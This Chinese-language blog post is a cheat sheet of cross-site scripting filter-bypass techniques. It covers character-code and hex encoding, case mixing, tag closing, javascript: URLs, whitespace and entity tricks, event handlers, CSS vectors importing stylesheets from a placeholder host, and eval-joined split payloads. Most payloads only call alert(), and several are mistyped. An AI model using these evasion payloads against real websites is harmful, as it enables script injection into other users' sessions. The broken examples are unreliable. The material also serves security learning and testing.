XSS

XSS绕过限制技巧

Posted by Tattoo on 2019-03-27
Estimated Reading Time 4 Minutes
Words 1k In Total
Viewed Times

绕过魔术引号magic_quotes_gpc

当php网站开启了magic_quotes_gpc配置,所有的特殊字符会被转义,所有的 ‘(单引号),”(双引号),\(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义。

可以通过javasrcipt中的String.fromCharCode方法来绕过
String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串

1
<script>alert("XSS");</script>

可以转换为:

1
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41,59)</script>

HEX编码

Hex编码就是把一个8位的字节数据用两个十六进制数展示出来
对XSS语句进行hex编码来绕过限制

1
<script>alert("XSS");</script>

可以转换为:

1
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%58%53%53%22%29%3b%3c%2f%73%63%72%69%70%74%3e

改变大小写

1
<script>alert("XSS");</script>

可以转换为:

1
<ScRipt>ALeRt("XSS");</sCRiPt>

闭合标签

通过查看源码构造闭合标签

例如:

1
"><script>alert("XSS");</script>

利用HTML标签属性值执行XSS

很多HTML标记中的属性都支持javascript:[code]伪协议的形式,这就给了注入XSS可乘之机

例如:

1
<img src = "javascript:alert('xss');">

即使对传入的参数过滤了尖括号<>,XSS还是能发生(前提是该标签属性需要引用文件)

利用空格/回车/Tab逃出敏感字符串

假设过滤函数进一步过滤了javascript等敏感字符串,只需对javascript进行小小的操作即可绕过

例如:

1
<img src= "java(空格/回车/Tab)script:alert(‘xss‘);" width=100>

这里之所以能成功绕过,其实还得益于JS自身的性质:Javascript通常以分号结尾,如果解析引擎能确定一个语句时完整的,且行尾有换行符,则分号可省略

如果不是完整的语句,javascript则会继续处理,直到语句完整结束或分号。

例如:

1
<img src= "javascript:(空格/回车/Tab)alert(/xss/); width=100>

同样能绕过

对标签属性值进行转码

过滤严谨的函数很可能对标签也进行了严格的控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

常见的编码方式有:HTML实体编码(&#ASCII),十进制、十六进制、八进制编码,unicode编码及escape编码及使用String.fromCharCode(…)绕过

例如:

1
<img src= "javascript&#116&#alert(/xss/);">

也可实现绕过

产生自己的事件

如果不能依靠属性进行跨站,那么还可以利用事件处理函数

1
<input type = "button"  value = "clickme" onclick="alert('click me')" />

事件既能让JS脚本运行,自然也可以执行跨站,像onerror、onMouseover等都可利用的是事件处理函数

利用CSS跨站剖析

之所以说CSS样式表是个很不错的载体,是因为CSS不需要嵌入到HTML代码中,可以直接从文件或其他地方进行引用. 另外CSS同样隐蔽、灵活,不过不同浏览器之间不能通用
例如:

1
2
3
4
5
6
7
<div style = "list-style-image:url(javascript:alert('xSS'))">

<link rel = "stylesheet" href ="http://www.xxx.com/atack.css">

<style type=‘text/css‘>@import url(http://www.xxx.com/xss.css);</style>

<style>@importjavascript:alert(‘xss‘);‘</style>

绕过过滤规则

1.不使用引号或者构造全角字符也能扰乱过滤规则

2.还有像CSS中 /**/ 会被浏览器忽略,\ 和 \0 同样或被浏览器忽略,同样可以用来绕过:

1
<img src ="java/*javascript:alert(‘xss‘)*/script:alert(1);">

拆分跨站法

拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站,例如:

1
2
3
4
5
<script>z='document.'</script>
<script>z=+'write'("'</script>
<script>z=z+'<script'</script>
......
<script>eval(z)</script>

If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !